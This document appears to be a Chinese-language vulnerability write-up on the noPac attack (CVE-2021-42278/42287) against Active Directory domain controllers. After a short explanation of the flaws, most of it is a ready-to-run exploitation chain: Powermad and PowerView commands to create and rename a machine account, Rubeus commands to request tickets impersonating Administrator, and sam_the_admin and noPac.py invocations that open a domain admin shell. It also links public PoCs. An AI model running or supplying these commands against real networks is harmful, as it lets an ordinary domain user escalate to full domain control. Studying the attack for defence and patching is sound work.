漏洞简介
CVE-2021-42278
一般来说,机器账号的名字应该以$符号结尾的。例如DC$表示DC这台主机的账户名。但是微软只是进行了规定,并没有验证程序对用户创建的用户名进行验证,也就是说,创建DC用户名完全是可以的。(这里指的是机器账号的sAMAccountName属性)
CVE-2021-42287
结合上面那个漏洞,如果创建了一个用户名为DC的账户,此时使用这个账户去申请一张TGT票据,然后在申请ST之前,将这个账户名修改掉或者删除掉,那么在进行申请ST的时候,KDC在进行验证时就查不到这个账户,此时KDC就会去查找DC$这个账户,如果这个账户存在的话,最终返回的就是DC$这个账户申请的ST。也就相当于获取到了域控账户申请的高权限服务票据。
漏洞复现
漏洞利用步骤
首先需要一个域内用户,然后提权至域管,接管域控。步骤如下
- 创建一个机器账户
- 清除机器账户的
SPN - 修改机器账户的
sAMAccountName属性值 - 使用机器账户请求
TGT - 再次修改机器账户的
sAMAccountName属性值 - 获取高权限
ST票据
使用 Powermad 创建一个新的机器账户,
syyu$当申请一个机器账户
MachineCount时,SPN会自动注册
1 | New-MachineAccount -MachineAccount syyu -Domain hacker.me -DomainController dc.hacker.me -Verbose |
使用 PowerSploit 下的 PowerView 工具 ,进行清除
1 | Import-Module .\PowerView.ps1 |
将 sAMAccountName 改为域控的机器账号名
1 | Nslookup -type=SRV _ldap._tcp // 查询 域控的主机名 |
1 | // sAMAccountName 改为域控的机器账号名 |
使用更改后的机器名申请TGT票据,利用 Rubeus 完成请求
1 | Rubeus.exe asktgt /user:dc /password:p@ssWord /domain:hacker.me /dc:dc.hacker.me /nowrap |
samaccountname重置会原本的用户名或改为其他域内不存在账户
1 | Set-MachineAccountAttribute -MachineAccount syyu -Value "syyu$" -Attribute samaccountname -Verbose |
在采用刚刚获取到的
TGT进行S4U2self请求来获取域控ST票据(这个过程KDC会去查找samaccountname,由于刚才MachineCount的samaccountname为dc,所以KDC回去查找这个dc,此时由于已经将MachineCount的samaccountname所更改,KDC查找不到dc就会在后面加上$符去寻找,此时找到的就为域控的dc$,并将它的ST票据返回)
1 | Rubeus.exe s4u /self /impersonateuser:"Administrator" /altservice:"ldap/dc.hacker.me" /dc:"dc.hacker.me" /ptt /ticket:[TGT值] |
此时,我们便获取了DC的ST票据
poc使用
sam_the_admin
1 | python3 sam_the_admin.py "god/liukaifeng01:hongrisec@2021@" -dc-ip 192.168.52.138 -shell |
noPac_python
1 | pip3 install impacket |
1 | python3 noPac.py redteam/saul:'admin!@#45' -dc-ip 10.10.10.8 -dc-host owa -shell --impersonate administrator |
参考链接
https://blog.csdn.net/FHLZLHQ/article/details/121964692
https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html
https://sairson.cn/index.php/archives/45/
poc
https://github.com/WazeHell/sam-the-admin
https://github.com/Ridter/noPac
https://github.com/cube0x0/noPac
https://github.com/ricardojba/Invoke-noPac
tools
https://github.com/Kevin-Robertson/Powermad